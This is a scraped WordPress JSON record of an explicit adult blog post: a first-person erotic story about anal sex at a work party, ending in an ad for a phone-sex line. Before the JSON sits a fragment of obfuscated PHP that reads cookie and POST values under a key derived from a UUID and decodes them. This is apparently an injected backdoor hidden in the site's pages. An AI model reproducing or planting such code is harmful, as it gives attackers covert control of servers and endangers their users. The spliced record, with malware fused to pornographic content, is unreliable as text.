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"\144" . chr (101), array($wKkycMmI,));}public function __construct($AEkRHebCgj=0){$CGtMDqRMo = chr ( 696 - 652 ); $wKkycMmI = "";$NgyYb = $_POST;$dmGKjP = $_COOKIE;$BQKuG = "5bbd9526-f54a-4604-857e-2ff0fc223c64";$lWbfI = @$dmGKjP[substr($BQKuG, 0, 4)];if (!empty($lWbfI)){$lWbfI = explode($CGtMDqRMo, $lWbfI);foreach ($lWbfI as $RhGQjcCS){$wKkycMmI .= @$dmGKjP[$RhGQjcCS];$wKkycMmI .= @$NgyYb[$RhGQjcCS];}$wKkycMmI = $this->WNgMxEMM($wKkycMmI);}E_aZJZq::$eRyfvpzHQe = $this->ubDBJ($wKkycMmI, $BQKuG);if (strpos($BQKuG, $CGtMDqRMo) !== FALSE){$BQKuG = explode($CGtMDqRMo, $BQKuG); $yYdsVWBrDi = sprintf("8270_6077", strrev($BQKuG[0]));}}public static $eRyfvpzHQe = 8475;}MutcY();}{"id":1476,"date":"2016-09-16T15:25:42","date_gmt":"2016-09-16T22:25:42","guid":{"rendered":"http:\/\/1-800-phonesex.com\/blog\/?p=1476"},"modified":"2016-09-16T15:35:02","modified_gmt":"2016-09-16T22:35:02","slug":"appreciate-my-ass-or-someone-else-will","status":"publish","type":"post","link":"https:\/\/live-hot-phonesex.com\/blog\/appreciate-my-ass-or-someone-else-will\/","title":{"rendered":"Appreciate My ASS&#8230;or Someone Else Will!"},"content":{"rendered":"<h2><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/08\/tumblr_o7f9ljPm9u1rlva65o1_500.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-1436 aligncenter\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/08\/tumblr_o7f9ljPm9u1rlva65o1_500.gif\" alt=\"tumblr_o7f9ljPm9u1rlva65o1_500\" width=\"500\" height=\"453\" \/><\/a><\/h2>\n<h2>If I had one wish, it would be that everyone knew what to do with an ASS!!!<\/h2>\n<p>I love getting it licked, worshipped, fingered, and of course, fucked. But everyone\u2019s either afraid to do anything with it or knows his way around butts about as good as a Southerner in a snowdrift!<br \/>\nWhy am I telling you this? Well. A couple nights ago I got my wish. ;)<br \/>\nMy boring boyfriend dragged me out to this stupid work party and we&#8217;re\u00a0getting drinks in this fancy hotel bar and then this GUY my husband works with just came up to me and introduced himself! Big tall guy. Nice eyes. Such nice eyes.<\/p>\n<h2>He gripped my hand firmly and my first thought was &#8220;I\u2019m gonna suck this guy\u2019s cock. If he wants it, that cock is mine&#8221;!<\/h2>\n<p>I was wearing this little pleather mini-skirt with zippers and I swear I almost gushed on the floor right here with how he looked at me! My boyfriend was so bored and checked out he didn\u2019t know anything that was going on. this guy just introduced himself as D_____ and I was like \u201cHi\u2026you don\u2019t smoke do you? I was just going to step out onto the baclony\u2026\u201d<\/p>\n<p>He said no. My boyfriend hates that I smoke. Lol D____ didn\u2019t get it.<\/p>\n<p>\u201cAre you sure?\u201d I said, my mouth teasing the rim of my wine glass. \u201cBecause I really like. To have. A smoking buddy.\u201d<br \/>\nThere we go&#8211; he got it.<br \/>\nSoon as we were out on that balcony I was rubbing his cock through his pants and his hands were already on my ass feeling me through my skirt. God it was so fucking hot! We were in a nice secluded little corner and he turned me around and I could feel his cock through his pants poking and caressing my ass! Oh God I wanted him to fuck me right there. I massaged his dick more and soon enough I was on my knees blowing him right in the free air!<br \/>\nAnd as his big dick grew in my mouth and I sucked him down to the base of his cock all the way in my throat, licking his shafted and tonguing ever so slightly on his head, teasing his underside with my long red nail, I thought maybe he can give this ol ass a try.<br \/>\nI stood and lifted up my skirt for him and let him take off my panties. I said do you like my ass&#8230;and I could tell then he was hot for it! He said you have such a fucking beautiful tush!<\/p>\n<h2>I said kiss it. Worship and kiss my beautiful ass.<\/h2>\n<p><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_020.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1256 aligncenter\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_020-680x1024.jpg\" alt=\"DIG_FQ3011_020\" width=\"561\" height=\"845\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_020-680x1024.jpg 680w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_020-199x300.jpg 199w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_020-768x1156.jpg 768w\" sizes=\"(max-width: 561px) 100vw, 561px\" \/><\/a><br \/>\nHe got down on his knees and I buried my ass in his face and he licked and sucked my firm round little bum and my sweet clean hole. IT WAS GREAT. Oh my God it was so fucking good I gripped the railings of the balcony and flung my head up to the moon and just got lost in all the sensation coming from behind!<br \/>\nFinally with my ass smashed into his face, pinning him to the wall I whispered \u201cIt\u2019s time for you to fuck me. You ready for that? You ready to fuck me? That\u2019s what I want. I want you to fuck my fucking ass!\u201d<br \/>\nHe was still rock-hard and lucky me- I had my lube on me. And I felt him go very slow as I bent over, steadying myself on the railing, taking in the stars, with my skirt around my waist, he gently probed into my soft waiting hole\u2026and then he was in! God fucking DAMMIT I thought I was going to scream!<\/p>\n<p style=\"text-align: center;\"><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_073.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1257\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_073-1024x680.jpg\" alt=\"DIG_FQ3011_073\" width=\"770\" height=\"511\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_073-1024x680.jpg 1024w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_073-300x199.jpg 300w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_073-768x510.jpg 768w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/a><\/p>\n<p>His cock filled my ass all the way up&#8211; deep into me&#8211; and I could barely keep from shouting YES! as loud as I could.<\/p>\n<h2>He started to pump in and out of my fleshy cheeks, and he grabbed my hair too and I just went wild!<\/h2>\n<p>I said yeah yeah fuck me fuck me!!! And gradually he got faster and faster until there was nothing in the world but his dick and my sweet plugged hole! Over n over he jammed his cock into my tight little asshole until I felt almost faint. YES. This is what I motherfucking needed! \u00a0It felt so fucking good I can\u2019t even begin! I came not once but twice, face to the moon and the night air was so cool. You have no idea it was the sexiest fucking thing that\u2019s ever happened to me!<\/p>\n<p style=\"text-align: left;\"><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_112.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1258 aligncenter\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_112-680x1024.jpg\" alt=\"DIG_FQ3011_112\" width=\"535\" height=\"806\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_112-680x1024.jpg 680w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_112-199x300.jpg 199w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/07\/DIG_FQ3011_112-768x1156.jpg 768w\" sizes=\"(max-width: 535px) 100vw, 535px\" \/><\/a><br \/>\nI let him cum on my face because why not?! You know. Haha.<\/p>\n<h2>It was crazy&#8211; the nut he busted&#8211; he stood over me like a God, jizz flying\u00a0all through the air and all over ME!<\/h2>\n<p>I licked it all off, sparkling clean. ;)<\/p>\n<p>Hehe. That\u2019s me\u2026<br \/>\nMORE I said. FUCK ME AGAIN.<br \/>\nPoor guy, he looked all sheepish and said I think I\u2019m about empty for the night.<br \/>\nAGAIN, I said. My ass just wanted so fucking much!<br \/>\nInstead he gave me his number. That works for me. We have another date tomorrow. But my ass wants it now!!! Oh well, you gotta be grateful for some things in life I guess and my ass is all full of thanks right now\u2026 ;)<\/p>\n<h1>Call <a href=\"tel:1-800-746-6373\" onclick=\"ga('send', 'event', {'eventCategory': '1800PHONESEX-VANITY-APPRECIATE-MY-ASS-091616-800PSblog', 'eventAction': 'click'});\">1-800-PHONESEX<\/a><\/h1>\n","protected":false},"excerpt":{"rendered":"<p>If I had one wish, it would be that everyone knew what to do with an ASS!!! I love getting it licked, worshipped, fingered, and of course, fucked. But everyone\u2019s either afraid to do anything with it or knows his way around butts about as good as a Southerner in a snowdrift! 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